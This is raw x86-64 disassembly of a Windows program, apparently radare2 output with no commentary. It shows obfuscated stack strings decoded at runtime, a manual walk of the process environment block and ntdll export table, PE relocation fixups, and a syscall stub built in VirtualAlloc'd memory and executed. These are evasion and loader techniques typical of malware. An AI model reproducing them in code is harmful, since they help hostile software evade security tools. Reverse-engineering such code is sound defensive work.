mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3ac], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3ad], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3ae], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3af], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3b0], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3b1], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r14b
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3b2], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3b3], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3b4], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3b5], al
mov r9, rbx
lea r12d, [rsi + 0xc]
mov r8d, r12d
mov dl, 0x6c
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3b6], al
mov r9, rbx
lea r13d, [rsi + 0xd]
mov r8d, r13d
mov dl, 0x75
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3b7], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3b8], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3b9], al
xor eax, eax
mov byte [rbp + 0x3ba], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x3a9]
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + rdi + 0x3a9], al
add rdi, rsi
cmp rdi, rbx
jb 0x14002eec8
xor edi, edi
mov byte [rbp + 0x3ba], dil
mov byte [rbp + 0x648], 0x44
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x649], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x64a], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r14b
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x64b], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x64c], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x64d], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x64e], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x64f], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x650], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r14b
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x651], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x652], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x653], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x654], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x655], al
mov r9d, esi
mov r8, r12
mov dl, 0x75
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x656], al
mov r9d, esi
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x657], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x658], al
mov r9d, esi
mov r8, r15
mov dl, r14b
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x659], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x65a], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x65b], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, reloc.WLDAP32.dll_Ordinal_50
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + 0x65c], al
xor eax, eax
mov byte [rbp + 0x65d], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x649]
lea rcx, [rbp + 0x648]
call fcn.140037880
mov byte [rbp + rdi + 0x649], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002f128
xor eax, eax
mov byte [rbp + 0x65d], al
xor r9d, r9d
lea r8, [rbp + 0x3a9]
lea rdx, [rbp + 0x649]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov byte [rbp + 0x390], reloc.WLDAP32.dll_Ordinal_27
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x391], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x392], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x393], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x394], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x395], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x396], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x397], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x398], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x399], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r14b
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x39a], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x39b], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x39c], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x39d], al
mov r9, rbx
lea r12d, [rsi + 0xc]
mov r8d, r12d
mov dl, 0x6c
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x39e], al
mov r9, rbx
lea r13d, [rsi + 0xd]
mov r8d, r13d
mov dl, 0x75
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x39f], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x3a0], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + 0x3a1], al
xor eax, eax
mov byte [rbp + 0x3a2], al
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x391]
lea rcx, [rbp + 0x390]
call fcn.1400371f8
mov byte [rbp + rdi + 0x391], al
add rdi, rsi
cmp rdi, rbx
jb 0x14002f35c
xor edi, edi
mov byte [rbp + 0x3a2], dil
mov byte [rbp + 0x6c0], reloc.WLDAP32.dll_Ordinal_33
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6c1], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6c2], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r14b
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6c3], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6c4], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6c5], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6c6], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6c7], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6c8], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r14b
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6c9], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6ca], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6cb], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6cc], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6cd], al
mov r9d, esi
mov r8, r12
mov dl, 0x75
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6ce], al
mov r9d, esi
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6cf], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6d0], al
mov r9d, esi
mov r8, r15
mov dl, r14b
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6d1], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6d2], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6d3], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, Ordinal_50
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + 0x6d4], al
xor eax, eax
mov byte [rbp + 0x6d5], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x6c1]
lea rcx, [rbp + 0x6c0]
call fcn.140037880
mov byte [rbp + rdi + 0x6c1], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002f5bc
xor eax, eax
mov byte [rbp + 0x6d5], al
xor r9d, r9d
lea r8, [rbp + 0x391]
lea rdx, [rbp + 0x6c1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov r12d, reloc.WS2_32.dll_send
mov rdi, qword [rbp + 0xeb0]
mov rax, rdi
sub rax, qword [r11 + 0x30]
mov qword [rbp - 0x70], rax
je 0x14002f7cf
test byte [r11 + 0x5e], 0x40
je 0x14002f7cf
mov edi, dword [r11 + 0xb0]
movzx edx, word [r11 + 0x14]
add rdx, 0x18
add rdx, r11
movzx eax, word [r11 + 6]
lea rcx, [rax + rax*4]
lea r8, [rdx + rcx*8]
jmp 0x14002f672
mov ecx, dword [rdx + 0xc]
cmp rdi, rcx
jb 0x14002f66e
mov eax, dword [rdx + 8]
add eax, ecx
cmp rdi, rax
jb 0x14002f726
add rdx, 0x28
cmp rdx, r8
jb 0x14002f658
xor ecx, ecx
mov edx, ecx
mov r9d, dword [r11 + 0xb4]
add r9, rdx
mov qword [rbp - 0x80], r9
test rdx, rdx
je 0x14002f7c8
cmp rdx, r9
jae 0x14002f7c8
mov r14, qword [rbp - 0x70]
mov r13, qword [rbp - 8]
mov rbx, qword [rbp + 0xc30]
mov esi, 3
mov eax, dword [rdx + 4]
test eax, eax
je 0x14002f7b0
add eax, 0xfffffff8
shr eax, 1
je 0x14002f7a1
lea rcx, [rdx + 8]
mov qword [rsp + 0x68], rcx
mov r8d, eax
mov qword [rbp - 0x78], r8
mov r10d, 1
lea r9d, [r10 + 9]
movzx edi, word [rcx]
movzx eax, di
shr ax, 0xc
and edi, 0xfff
jge 0x14002f6fd
sub edi, r10d
or edi, 0xfffff000
add edi, r10d
cmp ax, si
je 0x14002f708
cmp ax, r9w
jne 0x14002f785
mov r11d, dword [rdx]
movzx r8d, word [r13 + 0x14]
add r8, 0x18
add r8, r13
movzx eax, word [r13 + 6]
lea rcx, [rax + rax*4]
lea rcx, [r8 + rcx*8]
jmp 0x14002f756
mov edx, dword [rdx + 0x14]
sub rdx, rcx
add rdx, rdi
add rdx, qword [rbp + 0xc30]
xor ecx, ecx
jmp 0x14002f67b
mov r10d, dword [r8 + 0xc]
cmp r11, r10
jb 0x14002f752
mov eax, dword [r8 + 8]
add eax, r10d
cmp r11, rax
jb 0x14002f75d
add r8, 0x28
cmp r8, rcx
jb 0x14002f73d
jmp 0x14002f76c
mov ecx, dword [r8 + 0x14]
sub rcx, r10
add rcx, r11
add rcx, rbx
jne 0x14002f76f
mov rcx, rbx
movzx eax, di
add qword [rax + rcx], r14
mov rcx, qword [rsp + 0x68]
mov r8, qword [rbp - 0x78]
mov r10d, 1
add rcx, 2
mov qword [rsp + 0x68], rcx
sub r8, r10
mov qword [rbp - 0x78], r8
jne 0x14002f6df
mov r9, qword [rbp - 0x80]
xor ecx, ecx
mov eax, dword [rdx + 4]
add rdx, rax
cmp rdx, r9
jb 0x14002f6af
mov ebx, reloc.WS2_32.dll_recvfrom
lea esi, [rbx + 3]
lea r14d, [rbx + 0xf]
lea r15d, [rbx - 1]
lea r13d, [rbx + 6]
mov r11, qword [rbp - 8]
mov rdi, qword [rbp + 0xeb0]
movzx eax, word [r11 + 0x14]
lea rcx, [r11 + 0x18]
add rcx, rax
mov qword [rbp - 0x28], rcx
xor r9d, r9d
mov edx, r9d
mov dword [rbp - 0x60], edx
cmp r9w, word [r11 + 6]
jae 0x1400312e1
lea r10d, [r9 + 1]
cmp dword [rcx + 0x14], r9d
je 0x1400307dc
cmp dword [rcx + 0x10], r9d
je 0x1400307dc
mov eax, dword [rcx + 0x10]
mov qword [rbp - 0x30], rax
mov eax, dword [rcx + 0x14]
add rax, qword [rbp + 0xc30]
mov qword [rsp + 0x78], rax
mov eax, dword [rcx + 0xc]
add rax, rdi
mov qword [rbp - 0x38], rax
mov rax, qword [rbp + 0xd70]
mov qword [rbp + 0xc28], rax
mov word [rbp + 0x6a8], 0x2866
mov r9, rsi
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6aa], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6ab], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6ac], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6ad], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6ae], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6af], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6b0], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6b1], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6b2], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6b3], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6b4], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6b5], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6b6], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6b7], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6b8], al
mov r9, rsi
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6b9], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6ba], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6bb], al
mov r9, rsi
mov r8, r12
mov dl, 0x79
lea rcx, [rbp + 0x6a8]
call fcn.140037880
mov byte [rbp + 0x6bc], al
xor eax, eax
mov byte [rbp + 0x6bd], al
mov r8d, eax
mov r9, rsi
lea r10d, [rax + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x6a8]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x14]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x6a8]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x6a9], dil
add r8, r10
add r9, rsi
cmp r9, 0x1a4
jb 0x14002fa7c
xor edi, edi
mov byte [rbp + 0x6bd], dil
mov word [rbp + 0xb0], 0xea4d
lea r9d, [rdi + 9]
mov r8, r10
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb0]
call fcn.140037108
mov byte [rbp + 0xb2], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0xb0]
call fcn.140037108
mov byte [rbp + 0xb3], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xb0]
call fcn.140037108
mov byte [rbp + 0xb4], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0xb0]
call fcn.140037108
mov byte [rbp + 0xb5], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xb0]
call fcn.140037108
mov byte [rbp + 0xb6], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xb0]
call fcn.140037108
mov byte [rbp + 0xb7], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xb0]
call fcn.140037108
mov byte [rbp + 0xb8], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xb0]
call fcn.140037108
mov byte [rbp + 0xb9], al
xor eax, eax
mov byte [rbp + 0xba], al
mov r8d, edi
lea r9d, [rdi + 9]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xb0]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb0]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb1], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x14002fbfb
xor ecx, ecx
mov byte [rbp + 0xba], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002ffdd
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x60], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x70], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x60]
test r8d, r8d
jle 0x14002fd0f
lea r15d, [rax + 1]
mov r10d, r15d
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [r9 + rdx], al
add r10d, r15d
add rdx, r15
cmp rdx, r8
jl 0x14002fcde
mov r15d, reloc.WS2_32.dll_recv
lea r13d, [r15 + 7]
mov dword [rsp + 0x70], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x70]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x14002fd6b
mov rax, rcx
lea r9, [rbp + 0xb1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002fd64
add rax, r11
test edx, edx
jne 0x14002fd4f
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x14002fd92
mov rax, qword [rbp - 0x78]
mov rax, qword [rax]
mov qword [rbp - 0x78], rax
cmp rax, qword [rbp - 0x80]
jne 0x14002fc94
jmp 0x14002ffe0
mov rcx, qword [rbp - 0x78]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002ffe0
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002ffe0
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002ffe0
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002ffe0
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14002ffe0
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x6a9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002fe23
inc rax
test edi, edi
jne 0x14002fe0e
xor r9d, r9d
test r8d, r8d
je 0x14002fe39
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002fdfd
jmp 0x14002ffe0
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002ffe0
mov eax, dword [rdx + 4]
mov dword [rsp + 0x60], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002ffe0
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x50], rax
call fcn.140095f90
or dword [rbp + 0x25b94], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x24810]
call fcn.14003804c
lea rcx, [rbp + 0x24810]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x24810]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x3e550], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14002fede
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rbp - 0x50]
mov r8d, 0x1000
lea rdx, [rbp + 0x3e550]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rsp + 0x60]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xee0], eax
lea r9, [rbp + 0xee0]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x30]
mov r8, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x38]
mov rcx, qword [rbp + 0xc28]
call rdi
mov edi, eax
lea r9, [rbp + 0xee0]
mov r8d, dword [rbp + 0xee0]
mov edx, 0x1000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rbp - 0x50]
call fcn.1400bdea0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ecx, ecx
mov dword [0x1400f1364], ecx
test edi, edi
js 0x140030803
xor r9d, r9d
mov rdx, qword [rbp - 0x28]
mov ecx, dword [rdx + 0x24]
and ecx, 0x20000000
cmp dword [rdx + 0x24], r9d
jge 0x14002ffff
neg ecx
sbb eax, eax
and eax, 0x3c
add eax, 4
jmp 0x14003000a
mov eax, 2
test ecx, ecx
cmovne eax, r14d
mov dword [rsp + 0x60], eax
mov eax, dword [rdx + 0x10]
mov qword [rbp + 0xfa0], rax
mov eax, dword [rdx + 0xc]
add rax, qword [rbp + 0xeb0]
mov qword [rbp + 0xdf0], rax
